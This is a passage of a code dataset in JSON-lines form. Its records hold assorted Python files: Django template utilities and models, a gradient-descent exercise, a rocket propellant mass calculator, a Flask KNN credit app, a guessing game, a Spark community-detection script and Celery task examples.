loader_name in template_loaders:\n module, klass = loader_name.rsplit('.', 1)\n if loader_name in (\n 'django.template.loaders.app_directories.Loader',\n 'django.template.loaders.filesystem.Loader',\n ):\n loader_class = getattr(import_module(module), klass)\n if getattr(loader_class, '_accepts_engine_in_init', False):\n loader = loader_class(Engine.get_default())\n else:\n loader = loader_class()\n for dir in loader.get_template_sources(''):\n for root, dirnames, filenames in os.walk(dir):\n for basename in filenames:\n if ignore_private and basename.startswith(\"_\"):\n continue\n filename = os.path.join(root, basename)\n rel_filename = filename[len(dir)+1:]\n if fnmatch.fnmatch(filename, pattern) or \\\n fnmatch.fnmatch(basename, pattern) or \\\n fnmatch.fnmatch(rel_filename, pattern):\n templates.append(rel_filename)\n else:\n LOGGER.debug('%s is not supported' % loader_name)\n return sorted(set(templates))\n\n\ndef flatten_template_loaders(templates):\n \"\"\"\n Given a collection of template loaders, unwrap them into one flat iterable.\n\n :param templates: template loaders to unwrap\n :return: template loaders as an iterable of strings.\n :rtype: generator expression\n \"\"\"\n for loader in templates:\n if not isinstance(loader, string_types):\n for subloader in flatten_template_loaders(loader):\n yield subloader\n else:\n yield loader\n\n\ndef template_choices(templates, display_names=None, suffix=False):\n \"\"\"\n Given an iterable of `templates`, calculate human-friendly display names\n for each of them, optionally using the `display_names` provided, or a\n global dictionary (`TEMPLATEFINDER_DISPLAY_NAMES`) stored in the Django\n project's settings.\n\n .. note:: As the resulting iterable is a lazy generator, if it needs to be\n consumed more than once, it should be turned into a `set`, `tuple`\n or `list`.\n\n :param list templates: an iterable of template paths, as returned by\n `find_all_templates`\n :param display_names: If given, should be a dictionary where each key\n represents a template path in `templates`, and each\n value is the display text.\n :type display_names: dictionary or None\n :return: an iterable of two-tuples representing value (0) & display text (1)\n :rtype: generator expression\n \"\"\"\n # allow for global template names, as well as usage-local ones.\n if display_names is None:\n display_names = getattr(settings, 'TEMPLATEFINDER_DISPLAY_NAMES', {})\n\n to_space_re = re.compile(r'[^a-zA-Z0-9\\-]+')\n\n def fix_display_title(template_path):\n if template_path in display_names:\n return display_names[template_path]\n # take the last part from the template path; works even if there is no /\n lastpart = template_path.rpartition('/')[-1]\n # take everything to the left of the rightmost . (the file extension)\n if suffix:\n lastpart_with_suffix = lastpart\n return capfirst(lastpart_with_suffix)\n else:\n lastpart_minus_suffix = lastpart.rpartition('.')[0]\n # convert most non-alphanumeric characters into spaces, with the\n # exception of hyphens.\n lastpart_spaces = to_space_re.sub(' ', lastpart_minus_suffix)\n return capfirst(lastpart_spaces)\n\n return ((template, fix_display_title(template)) for template in templates)","repo_name":"django-leonardo/django-leonardo","sub_path":"leonardo/utils/templates.py","file_name":"templates.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"37"} +{"seq_id":"27372456283","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 17 12:51:11 2022\n\n@author: valeriopiodenicola\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport numdifftools as nd\n\n\ndef next_step(x,grad,f): # backtracking procedure for the choice of the steplength\n alpha=1.1\n rho = 0.5\n c1 = 0.25\n p=-grad\n j=0\n jmax= 10\n \n while (f(x + alpha*p) > (f(x) + c1*alpha*grad.T@p) and j <= jmax):\n alpha = rho*alpha\n j = j+1\n #print(alpha)\n \n if (j >= jmax):\n return -1\n else:\n return alpha\n \n\n#x0 appartenente a R2\ndef minimize(f, x0,x_true,step,MAXITERATION,ABSOLUTE_STOP): \n \n #X found each iteration\n x=np.zeros((2,MAXITERATION))\n \n #Gradient norm at each iteration\n norm_grad_list=np.zeros((1,MAXITERATION)) \n \n #Z at each iteration\n function_eval_list=np.zeros((1,MAXITERATION))\n \n #Error each iteration\n error_list=np.zeros((1,MAXITERATION)) \n \n #Iteration index\n k=0\n \n #Last x found\n x_last = np.array([x0[0],x0[1]])\n \n #Set found point k=0\n x[:,k] = x_last\n \n #Calculate initial Z\n function_eval_list[:,k] = abs(f(x0))\n \n #Error at first iteration (absolute)\n error_list[:,k] = np.linalg.norm(x_last-x_true)\n \n #Norm of the gradient at each iteration\n norm_grad_list[:,k]= np.linalg.norm(nd.Gradient(f)(x0))\n \n while (np.linalg.norm(nd.Gradient(f)(x_last))>ABSOLUTE_STOP and k < MAXITERATION -1 ):\n \n #Increment index\n k = k+1\n \n #Direzione di ricerca\n p = -nd.Gradient(f)(x_last)\n \n # backtracking step\n step = next_step(x_last, nd.Gradient(f)(x_last),f)\n #print(step)\n \n if(step==-1):\n raise Exception(\"Non converge\")\n \n #Calculate new x\n x_last = x_last + step*p\n \n x[:,k] = x_last\n \n function_eval_list[:,k] = abs(f(x_last))\n error_list[:,k] = np.linalg.norm(x_last-x_true)\n norm_grad_list[:,k]= np.linalg.norm(nd.Gradient(f)(x_last))\n\n \n #Truncate at last iteration\n x = x[:,0:k]\n norm_grad_list = norm_grad_list[:,0:k]\n error_list = error_list[:,0:k]\n function_eval_list = function_eval_list[:,0:k]\n\n\n return (x_last,norm_grad_list, function_eval_list, error_list, k, x)\n\n\n\n\n\n'''creazione del problema'''\n\nx_true=np.array([1,2])\n\ndef f1(x):\n return 10*((x[0]-1)**2)+((x[1]-2)**2)\n\ndef f2(x):\n b = np.ones(x.size)\n return (np.linalg.norm(x-b,2))**2 + lambda_f2*(np.linalg.norm(x,2))**2\n\n\n'''problem parameters'''\nstep=0.1\nMAXITERATIONS=1000\nABSOLUTE_STOP=1.e-5\nmode='plot_history'\nx0 = np.array((3,-5))\nlambda_f2 = 1\n\n#minimize first function (ex.4)\nresult = minimize(f1,x0, x_true, step, MAXITERATIONS, ABSOLUTE_STOP)\n\n'''graph parameters'''\nv_x0 = np.linspace(-5,5,500)\nv_x1 = np.linspace(-5,5,500)\nx0v,x1v = np.meshgrid(v_x0, v_x1)\n\n'''superficie f1'''\nz = f1(np.array([x0v,x1v]))\nplt.figure()\nax = plt.axes(projection='3d')\nax.plot_surface(x0v,x1v,z, cmap=\"viridis\")\nax.set_title('Surface plot')\nplt.show()\n\n\n'''contour plots'''\nif mode=='plot_history':\n \n contours = plt.contour(x0v,x1v,z, levels = 40)\n plt.plot((result[-1])[0,:],(result[-1])[1,:], marker=\"o\")\n plt.title(\"Points History\")\n plt.show()\n\n'''plots'''\n\n# Iterazioni vs Norma Gradiente\nplt.figure()\nplt.plot(np.arange(0,result[-2]), (result[1])[0])\nplt.title('Iterazioni vs Norma Gradiente')\nplt.show()\n\n\n#Errore vs Iterazioni\nplt.figure()\nplt.plot(np.arange(0,result[-2]), (result[-3])[0])\nplt.title('Errore vs Iterazioni')\nplt.show()\n\n\n#Iterazioni vs Funzione Obiettivo\nplt.figure()\nplt.plot(np.arange(0,result[-2]), (result[2])[0])\nplt.title('Iterazioni vs Funzione Obiettivo')\nplt.show()\n\n'''plot f2'''\n#test different lambdas for f2 (ex.5)\nlambddavalues = np.arange(1,100,10)\nfor i in range (lambddavalues.size):\n try:\n #take new lambda\n lambda_f2 = lambddavalues[i]\n \n #minimize with new lambda\n result2 = minimize(f2,x0, x_true, step, MAXITERATIONS, ABSOLUTE_STOP)\n \n #Iterazioni vs Funzione Obiettivo\n plt.figure()\n plt.plot(np.arange(0,result2[-2]), (result2[2])[0])\n title = 'Iterazioni vs Funzione Obiettivo, λ={}'.format(lambddavalues[i])\n plt.title(title)\n plt.show()\n\n \n except:\n print(\"Lambda\", lambddavalues[i], \"not supportedd\")\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Murkrow02/Unibo","sub_path":"Secondo Anno/Calcolo Numerico/4 Radici e metodi di discesa/4) Discesa.py","file_name":"4) Discesa.py","file_ext":"py","file_size_in_byte":4444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31214362858","text":"#!/usr/bin/env python\n#coding:utf8\n#author:xdsecret1@gmail.com\n\nfrom table import Table\n\nclass ItemEffect(Table):\n def __init__(self, cur, wb):\n Table.sheet_name = u'itemeffect(物品效果)'\n Table.sql = 'select * from itemeffect'\n Table.titles = (u'ID', u'beanName', u'para1', u'para2', u'para3', u'效果名称', u'效果描述', u'效果等级', u'图标路径', u'效果类型', u'子类类型', u'buffName')\n Table.__init__(self, cur, wb)\n","repo_name":"miwoow/UsefulTools","sub_path":"src/qixiong/tables/itemeffect.py","file_name":"itemeffect.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"fa","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42477320227","text":"from typing import Tuple\n\nimport networkx as nx\n\nfrom xpotato.dataset.sample import Sample\n\n\nclass RelationSample(Sample):\n def __init__(self, example: Tuple[str, str]) -> None:\n super().__init__(example=example)\n self.e1 = example[2]\n self.e2 = example[3]\n\n def _postprocess(self, graph: nx.DiGraph) -> nx.DiGraph:\n for node, attr in graph.nodes(data=True):\n if self.e1_lemma:\n if (\n attr[\"name\"] == self.e1_lemma\n or attr[\"name\"] == self.e1_lemma.split()[-1]\n ):\n attr[\"name\"] = \"entity1\"\n else:\n if attr[\"name\"] == self.e1 or attr[\"name\"] == self.e1.split()[-1]:\n attr[\"name\"] = \"entity1\"\n if self.e2_lemma:\n if (\n attr[\"name\"] == self.e2_lemma\n or attr[\"name\"] == self.e2_lemma.split()[-1]\n ):\n attr[\"name\"] = \"entity2\"\n else:\n if attr[\"name\"] == self.e2 or attr[\"name\"] == self.e2.split()[-1]:\n attr[\"name\"] = \"entity2\"\n\n return graph\n\n def set_graph(self, graph: nx.DiGraph) -> None:\n self.graph = self._postprocess(graph)\n\n def prepare_lemma(self, doc) -> None:\n for token in doc.sentences[0].words:\n if token.text == self.e1:\n self.e1_lemma = token.lemma\n if token.text == self.e2:\n self.e2_lemma = token.lemma\n","repo_name":"adaamko/POTATO","sub_path":"xpotato/dataset/relation_sample.py","file_name":"relation_sample.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"37"} +{"seq_id":"22961106512","text":"\"\"\"\r\nExperiment with implementing a virtual subclass of an ABC\r\nAuthor: Andrew Jarombek\r\nDate: 11/28/2018\r\n\"\"\"\r\n\r\nfrom Exercise import Exercise\r\n\r\n\r\n@Exercise.register\r\nclass Elliptical:\r\n\r\n def __init__(self, time: tuple) -> None:\r\n self.__time = time\r\n\r\n @property\r\n def time(self):\r\n return self.__time\r\n\r\n\r\nif __name__ == '__main__':\r\n elliptical = Elliptical((60, 0))\r\n\r\n assert isinstance(elliptical, Exercise)\r\n assert issubclass(Elliptical, Exercise)\r\n","repo_name":"AJarombek/jarombek-com-sources","sub_path":"2018/12-Dec/12-15-python-protocols-abcs/Elliptical.py","file_name":"Elliptical.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25289729320","text":"\"\"\"\nDetermines the wet mass of a rocket propulsion system via iteration.\nEach iteration updates tankage and propellant mass.\nHandles bipropellant and monopropellant systems.\nDoes not currently handle blow-down propellant storage considerations.\n\"\"\"\nimport math\n\n# Rocket Equation Inputs\nthruster_mass = 54 # kg, Mass of the thruster itself.\nisp = 340 # sec\ndelta_v = 1470 # m/sec\ncontingency_factor = 1.1\nox_fuel_ratio = 1.41 # Ratio of bipropellant oxidizer to fuel, by mass. 0 if monopropellant.\nm_f_initial = 2500+381.86 # kg, All mass above this stage - the \"first guess\" for dry mass.\n\n\n# Prop Tank Sizing Inputs\ndensity_fuel = 1008.3 # kg/m^3\ndensity_ox = 2720 # kg/m^3, set 1 if monopropellant\naspect_ratio = 3.5\nmass_factor = 1.25\nwall_density = 4430.0 # kg/m^3\nwall_s_ult = 900.0 # MPa\nsafety_factor = 2.0\nop_pressure = 6.89 # MPa\n\n\ncount_sph = 0\ncount_cyl = 0\n\n\n# Spherical Tank\n\nm_f_sph = m_f_initial\nm_f_last_sph = 0\n\nwhile abs(m_f_sph - m_f_last_sph) > 0.01:\n # Fuel Mass Calculations\n m_i = m_f_sph*math.exp(delta_v/(isp*9.8))\n m_p = m_f_sph*(math.exp(delta_v/(isp*9.8))-1)*contingency_factor\n m_fuel = m_p/(ox_fuel_ratio+1)\n m_ox = m_p-m_fuel\n\n\n # Tank Mass Calculations\n volume_fuel = m_fuel/density_fuel\n volume_ox = m_ox/density_ox\n\n radius_fuel_sph = ( volume_fuel/(math.pi*4/3) ) ** (1/3)\n radius_ox_sph = ( volume_ox/(math.pi*4/3) ) ** (1/3)\n\n thickness_fuel_sph = safety_factor*op_pressure*radius_fuel_sph/(2*wall_s_ult)\n thickness_ox_sph = safety_factor*op_pressure*radius_ox_sph/(2*wall_s_ult)\n\n tank_mass_fuel_sph = mass_factor*wall_density*(4/3*math.pi*((radius_fuel_sph+thickness_fuel_sph)**3-radius_fuel_sph**3))\n tank_mass_ox_sph = mass_factor*wall_density*(4/3*math.pi*((radius_ox_sph+thickness_ox_sph)**3-radius_ox_sph**3))\n\n m_f_last_sph = m_f_sph\n m_f_sph = m_f_initial + tank_mass_fuel_sph + tank_mass_ox_sph + thruster_mass\n count_sph += 1\n\nprint(\"Spherical tank:\")\nprint(\"Converged after \" + str(count_sph) + \" iterations with difference of \" + str(round(abs(m_f_sph - m_f_last_sph),4)) + \"kg from previous iteration.\")\nprint(\"Fuel tank radius = \" + str(round(radius_fuel_sph, 4)))\nprint(\"Oxidizer tank radius = \" + str(round(radius_ox_sph, 4)))\nprint(\"System dry mass = \" + str(round(tank_mass_fuel_sph + tank_mass_ox_sph + thruster_mass, 4)))\nprint(\"System wet mass = \" + str(round(tank_mass_fuel_sph + tank_mass_ox_sph + thruster_mass + m_fuel + m_ox, 4)))\nprint(\"Fuel mass = \" + str(round(m_fuel,4)))\nprint(\"Oxidizer mass = \" + str(round(m_ox,4)))\nprint(\"Fuel tank mass = \" + str(round(tank_mass_fuel_sph,4)))\nprint(\"Oxidizer tank mass = \" + str(round(tank_mass_ox_sph,4)))\nprint(\"Stage dry mass = \" + str(round(m_f_sph, 4)))\nprint(\"Stage wet mass = \" + str(round(m_f_sph + m_fuel + m_ox, 4)) + \"\\n\")\n\n\n# Cylindrical Tank\n\nm_f_cyl = m_f_initial\nm_f_last_cyl = 0\n\nwhile abs(m_f_cyl - m_f_last_cyl) > 0.01:\n # Fuel Mass Calculations\n m_i = m_f_cyl*math.exp(delta_v/(isp*9.8))\n m_p = m_f_cyl*(math.exp(delta_v/(isp*9.8))-1)*contingency_factor\n m_fuel = m_p/(ox_fuel_ratio+1)\n m_ox = m_p-m_fuel\n\n # Tank Mass Calculations\n volume_fuel = m_fuel/density_fuel\n volume_ox = m_ox/density_ox\n\n radius_fuel_cyl = ( volume_fuel/(math.pi*(aspect_ratio+4/3)) ) ** (1/3)\n radius_ox_cyl = ( volume_ox/(math.pi*(aspect_ratio+4/3)) ) ** (1/3)\n\n thickness_fuel_cyl = safety_factor*2*op_pressure*radius_fuel_cyl/wall_s_ult\n thickness_ox_cyl = safety_factor*2*op_pressure*radius_ox_cyl/wall_s_ult\n thickness_fuel_cyl_caps = thickness_fuel_cyl/2\n thickness_ox_cyl_caps = thickness_ox_cyl/2\n\n tank_mass_fuel_cyl = mass_factor*wall_density*math.pi*(4/3*((radius_fuel_cyl+thickness_fuel_cyl_caps)**3-radius_fuel_cyl**3)+aspect_ratio*radius_fuel_cyl*(2*radius_fuel_cyl*thickness_fuel_cyl+thickness_fuel_cyl**2))\n tank_mass_ox_cyl = mass_factor*wall_density*math.pi*(4/3*((radius_ox_cyl+thickness_ox_cyl_caps)**3-radius_ox_cyl**3)+aspect_ratio*radius_ox_cyl*(2*radius_ox_cyl*thickness_ox_cyl+thickness_ox_cyl**2))\n\n m_f_last_cyl = m_f_cyl\n m_f_cyl = m_f_initial + tank_mass_fuel_cyl + tank_mass_ox_cyl + thruster_mass\n count_cyl += 1\n\nprint(\"Cylindrical tank:\")\nprint(\"Converged after \" + str(count_cyl) + \" iterations with difference of \" + str(round(abs(m_f_cyl - m_f_last_cyl),4)) + \"kg from previous iteration.\")\nprint(\"Fuel tank radius = \" + str(round(radius_fuel_cyl, 4)))\nprint(\"Oxidizer tank radius = \" + str(round(radius_ox_cyl, 4)))\nprint(\"System dry mass = \" + str(round(tank_mass_fuel_cyl + tank_mass_ox_cyl + thruster_mass, 4)))\nprint(\"System wet mass = \" + str(round(tank_mass_fuel_cyl + tank_mass_ox_cyl + thruster_mass + m_fuel + m_ox, 4)))\nprint(\"Stage dry mass = \" + str(round(m_f_cyl, 4)))\nprint(\"Stage wet mass = \" + str(round(m_f_cyl + m_fuel + m_ox, 4)))","repo_name":"samburger/SpaceMissionDesigner","sub_path":"PropulsionIterator.py","file_name":"PropulsionIterator.py","file_ext":"py","file_size_in_byte":4861,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"25370386115","text":"from flask import Flask, request, render_template, url_for\nimport numpy as np\nimport pandas as pd\n\napp = Flask(__name__)\nfrom fungsi import datapemohon, masukkan_nilai_k, hitung, urutkan\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method==\"POST\":\n # print(request.form.getlist('kriteria[]'))\n data = request.form.getlist('kriteria[]')\n # print(data[2])\n hasil=np.zeros((4,3)) #definisi array 4 baris 3 kolom hasil untuk menampung nomor, hasil hitung, dan kategori keputusan\n k=np.zeros(5) #definisi array untuk nilai kriteria\n d=pd.read_csv('data_train_sample.csv',delimiter=\";\")\n d=np.asarray(d)\n # kebenaran=0 #inisialisasi keputusan\n datapemohon(0,k,data)\n nilai_k = masukkan_nilai_k(0,request.form['nilaik'])\n hitung(hasil,0,d,k)\n print(hasil)\n hasil = list(hasil)\n kebenaran = urutkan(hasil, nilai_k, 0)\n keputusan=kebenaran/nilai_k*100 #membagi nilai keputusan dengan nilai k untuk menentukan apakah memenuhi atau tidak.\t\n print(\"Berdasarkan perhitungan diatas, sistem menyatakan pemohon\",end=\" \")\n if keputusan>50:\n print(\"Memenuhi\",end=\" \")\n else:\n print(\"Tidak Memenuhi\",end=\" \")\n pass\n print(\"mengajukan kredit.\")\n print(\"Persentasi kebenaran \"+str(keputusan)+\"%\")\n data = {\n 'persentase': keputusan\n }\n return render_template(\"index.html\",data=data)\n else:\n return render_template(\"index.html\")\n\napp.run(debug=True)","repo_name":"afrizal423/flask-SPK-KNN","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"id","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"38986668539","text":"import random\n\ndef question(s):\n while True:\n result = input(s)\n if result in [\"да\", \"д\", \"yes\", \"y\", \"1\", \"lf\"]:\n return True\n if result in [\"нет\", \"н\", \"no\", \"n\", \"0\", \"2\", \"ytn\"]:\n return False\n print(\"Я не понимаю\")\n\ndef privet(x, y):\n print(\"Привет!\")\n\n while True:\n print(\"Если вы хотите загадывать число, введите 1\")\n print(\"Если вы хотите отгадывать число, введите 2\")\n variant = input(\"Ваш вариант:\")\n\n if variant == \"2\":\n otgadat(x, y)\n else:\n zagadat(x, y)\n\n if not question(\"Хотите сыграть ещё? (да/нет)\"):\n break\n\n print(\"Пока!\")\n\n\ndef zagadat(x, y):\n input(\"Загадайте число от {} до {} и нажмите Enter\".format(x, y))\n x -= 1\n y += 1\n while True:\n z = (x + y) // 2\n\n if question(\"Загаданное число {}? (да/нет)\".format(z)):\n break\n\n if question(\"Загаданное число меньше? (да/нет)\"):\n y = z\n else:\n x = z\n\n if y - x < 2:\n print(\"Вы что-то напутали\")\n return\n\n print(\"Ура, я угадал!\")\n\n\ndef otgadat(x, y):\n number = random.randint(x, y+1)\n\n while True:\n a = input(\"Угадайте число:\")\n a = int(a)\n\n if a == number:\n break\n elif number < a:\n print(\"Загаданное число меньше\")\n else:\n print(\"Загаданное число больше\")\n\n print(\"Поздравляю, Вы угадали!\")\n\n\nif __name__ == \"__main__\":\n privet(1, 100)\n","repo_name":"olga-bulavina/LearnPython","sub_path":"ugaday/ugaday.py","file_name":"ugaday.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2540913106","text":"#QN 1\n#initialise the constants\nstdDeduct = 10000\ndpDeduct = 2000\nrate = 0.2\n\n#request the inputs\ngrossInc = float(input('Enter your gross income ($):'))\ndependents = int(input('Enter number of dependents:'))\n\n#compute total income tax\ntaxInc = grossInc - stdDeduct - dpDeduct * dependents\nincTax = taxInc * rate\n\n#display total income tax\nprint()\nprint('Your total income tax is $%0.2f'%(incTax))\n\n\n#QN 2\nname = input('Name:')\nage = int(input('Age:'))\nage10 = age + 10\nprint()\nprint('Age in 10 years will be', age10)\n\n#QN 3\nimport math\nmath.pi\n\npi = dir('pi')\nrad = float(input('Radius:'))\n\ndiameter = 2 * rad\ncirc = diameter * pi \n\n\n#QN 4\nbase = float(input('Base of triangle:'))\nheight = float(input('Height of triangle'))\narea = base * height\nprint()\nprint('The area of the triangle is %.2f unit sq'%(area))\n\n","repo_name":"kaijie0102/H2-computing","sub_path":"Assignments/Assignment 1.py","file_name":"Assignment 1.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"1648828407","text":"from django.db import models\nfrom users.models import User\n\n# Create your models here.\nclass Orders(models.Model):\n user_id = models.ForeignKey(User, verbose_name='Заказчик', on_delete=models.PROTECT)\n order_description = models.CharField(max_length=150)\n\n def __str__(self):\n return f'{self.user_id}|{self.order_description}'\n\n class Meta:\n verbose_name = 'Заказ'\n verbose_name_plural = 'Заказы'\n\n\nclass Application(models.Model):\n user_id = models.ForeignKey(User, verbose_name='Заказчик', on_delete=models.PROTECT)\n customer_name = models.CharField(max_length=100)\n customer_number = models.CharField(max_length=20)\n\n\n def __str__(self):\n return f'{self.user_id}|{self.customer_name}|{self.customer_number}'\n\n class Meta:\n verbose_name = 'Заявка'\n verbose_name_plural = 'Заявки'\n\n\nclass Catalogs(models.Model):\n name = models.CharField(max_length=100)\n description = models.CharField(max_length=400)\n price = models.DecimalField(max_digits=10, decimal_places=2)\n\n class Meta:\n verbose_name = 'Каталог'\n\nclass Order_info(models.Model):\n order_id = models.ForeignKey(Orders, verbose_name='Заказ', on_delete=models.PROTECT)\n catalog_id = models.ForeignKey(Catalogs, verbose_name='Программы', on_delete=models.PROTECT)\n quantity = models.DecimalField(max_digits=5, decimal_places=2)\n\n class Meta:\n verbose_name = 'Информация о заказах'\n","repo_name":"MedLighter/django-prazdniki","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74512722026","text":"import os\nimport sys\nimport findspark\nfindspark.init()\nos.environ[\"PYSPARK_SUBMIT_ARGS\"] = \"--packages graphframes:graphframes:0.6.0-spark2.3-s_2.11 pyspark-shell\"\nimport itertools\n\nimport time\nfrom pyspark import SparkContext, SparkConf\nfrom graphframes import GraphFrame\nfrom pyspark.sql import SparkSession\n\n\ndef write_results(detected_communities, output_file):\n with open(output_file, 'w') as result_file:\n result_file.write('\\n'.join([\"'\" + \"', '\".join(community) for community in detected_communities]))\n result_file.close()\n\n\nif __name__ == '__main__':\n start_time = time.time()\n\n argv = sys.argv\n conf = SparkConf()\n # conf.set(\"spark.driver.memory\", \"4g\")\n # conf.set(\"spark.executor.memory\", \"4g\")\n conf.setMaster('local[8]')\n conf.setAppName('Assignment_4')\n sc = SparkContext.getOrCreate(conf)\n spark = SparkSession(sc)\n sc.setLogLevel(\"ERROR\")\n\n filter_threshold = int(argv[1])\n\n # load the data and drop the header\n data = sc.textFile(argv[2]).map(lambda x: x.split(',')).map(lambda x: (x[0], x[1]))\n header = data.first()\n user_business_pairs = data.filter(lambda x: x != header)\n\n # get user pairs that clear the threshold\n user_pairs = user_business_pairs\\\n .map(lambda x: (x[1], x[0]))\\\n .groupByKey()\\\n .mapValues(lambda x: sorted(list(x)))\\\n .flatMap(lambda x: [((pair[0], pair[1]), x[0]) for pair in itertools.combinations(x[1], 2)])\\\n .groupByKey()\\\n .mapValues(lambda x: list(set(x)))\\\n .filter(lambda x: len(x[1]) >= filter_threshold)\\\n .map(lambda x: x[0])\n\n # user_pairs_collection = user_pairs.collect()\n\n # create vertex rdd\n nodes = user_pairs\\\n .flatMap(lambda x: list(x)) \\\n .map(lambda x: tuple([x]))\\\n .distinct()\n\n nodes_df = nodes.toDF([\"id\"])\n # nodes_df.show()\n\n # get all possible edges\n edges_df = user_pairs.union(user_pairs.map(lambda x: (x[1],x[0]))).toDF([\"src\", \"dst\"])\n # edges_df.show()\n\n # create graph\n community_graph = GraphFrame(nodes_df, edges_df)\n\n # get labels\n result = community_graph.labelPropagation(maxIter=5)\n # result.show()\n\n # group communities\n detected_communities = result\\\n .rdd\\\n .map(tuple)\\\n .map(lambda x: (x[1], x[0]))\\\n .groupByKey()\\\n .map(lambda x: sorted(list(x[1])))\\\n .sortBy(lambda x: (len(x), x[0]))\n\n detected_communities_collection = detected_communities.collect()\n\n write_results(detected_communities_collection, argv[3])\n\n print('Duration: {:.2f}'.format(time.time() - start_time))\n\n print('completed')\n","repo_name":"coolsgupta/INF_553_Data_Mining","sub_path":"Assignment_4/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":2628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34949828511","text":"#!/usr/bin/env python3\n\nimport pandas as pd\nimport numpy as np\n\n\"\"\"\nRead again the bicycle data set from src folder, and clean it as in the earlier exercise.\nThen split the Päivämäärä column into a DataFrame with five columns with column names\nWeekday, Day, Month, Year, and Hour. Note that you also need to to do some conversions.\n\nTo get Hours, drop the colon and minutes.\n\nConvert field Weekday according the following rule:\n\nma -> Mon\nti -> Tue\nke -> Wed\nto -> Thu\npe -> Fri\nla -> Sat\nsu -> Sun\n\nConvert the Month column according to the following mapping\n\ntammi -> 1\nhelmi -> 2\nmaalis -> 3\nhuhti -> 4\ntouko -> 5\nkesä -> 6\nheinä -> 7\nelo -> 8\nsyys -> 9\nloka -> 10\nmarras -> 11\njoulu -> 12\n\nCreate function split_date() that does the above and returns a DataFrame with five\ncolumns. You may want to use the map method of Series objects.\n\nSo the first element in the 'Päivämäärä' column of the original data set should be\nconverted from \"ke 1 tammi 2014 00:00\" to \"Wed 1 1 2014 0\" . Test your solution from\nthe main function.\n\"\"\"\n\ndef split_date():\n data_frame = pd.read_csv(\"src/Helsingin_pyorailijamaarat.csv\", sep = \";\")\n\n timestamps = data_frame[\"Päivämäärä\"].str.split(expand = True)\n timestamps.dropna(how = \"all\", inplace = True)\n\n timestamps.columns = [\"Weekday\", \"Day\", \"Month\", \"Year\", \"Hour\"]\n\n # Hours\n timestamps[\"Hour\"] = timestamps[\"Hour\"].str.split(\":\", expand = True)[0]\n\n # Weekdays\n timestamps[\"Weekday\"] = timestamps[\"Weekday\"].map({\n \"ma\" : \"Mon\",\n \"ti\" : \"Tue\",\n \"ke\" : \"Wed\",\n \"to\" : \"Thu\",\n \"pe\" : \"Fri\",\n \"la\" : \"Sat\",\n \"su\" : \"Sun\"\n })\n\n # Months\n timestamps[\"Month\"] = timestamps[\"Month\"].map({\n \"tammi\" : 1,\n \"helmi\" : 2,\n \"maalis\": 3,\n \"huhti\" : 4,\n \"touko\" : 5,\n \"kesä\" : 6,\n \"heinä\" : 7,\n \"elo\" : 8,\n \"syys\" : 9,\n \"loka\" : 10,\n \"marras\": 11,\n \"joulu\" : 12\n })\n\n timestamps = timestamps.astype({\n \"Weekday\" : object,\n \"Day\" : int,\n \"Month\" : int,\n \"Year\" : int,\n \"Hour\" : int\n }) \n\n return timestamps\n\ndef main():\n print(split_date())\n \nif __name__ == \"__main__\":\n main()\n","repo_name":"mjauvo/MOOC_Data_Analysis_with_Python_2022","sub_path":"part04/part04-e16_split_date/src/split_date.py","file_name":"split_date.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9475671080","text":"from celery_task import task2\n\n# 使用模块中的函数,和celery没有任何关系\n# res = task1.add(10, 15)\n# print(res)\n# res2 = task2.low(10, 15)\n# print(res2)\n\n# 调用celery框架的方法,完成任务的添加\n\n# 1、手动添加立即任务,调用delay就相当于将add交给celery进行调用,delay函数的参数与add保持一致\n# res = task1.add.delay(100, 150) # 立即添加任务,立即执行任务\n# print(res)\n#\n# res2 = task2.low.delay(88, 66)\n# print(res2)\n\n# 2、手动添加延迟任务,调用apply_async就相当于将low交给celery进行延迟调用,apply_async函数的参数与low保持一致\nfrom datetime import datetime, timedelta\ndef eta_second(second):\n ctime = datetime.now()\n utc_ctime = datetime.utcfromtimestamp(ctime.timestamp())\n time_delay = timedelta(seconds=second)\n return utc_ctime + time_delay\n\n# args就是执行low函数所需参数,eta就是延迟执行的时间\nres = task2.low.apply_async(args=(200, 50), eta=eta_second(10))\nprint(res)\n\n","repo_name":"MoseGai/luffy","sub_path":"bookshopapi/scripts/celery/简单使用/celery_task/添加celery任务的脚本.py","file_name":"添加celery任务的脚本.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9162033283","text":"import requests\r\nfrom django.contrib.auth import login\r\nfrom django.contrib.auth.models import User\r\nfrom django.contrib.auth.tokens import default_token_generator\r\nfrom django.core.mail import EmailMessage\r\nfrom django.http import 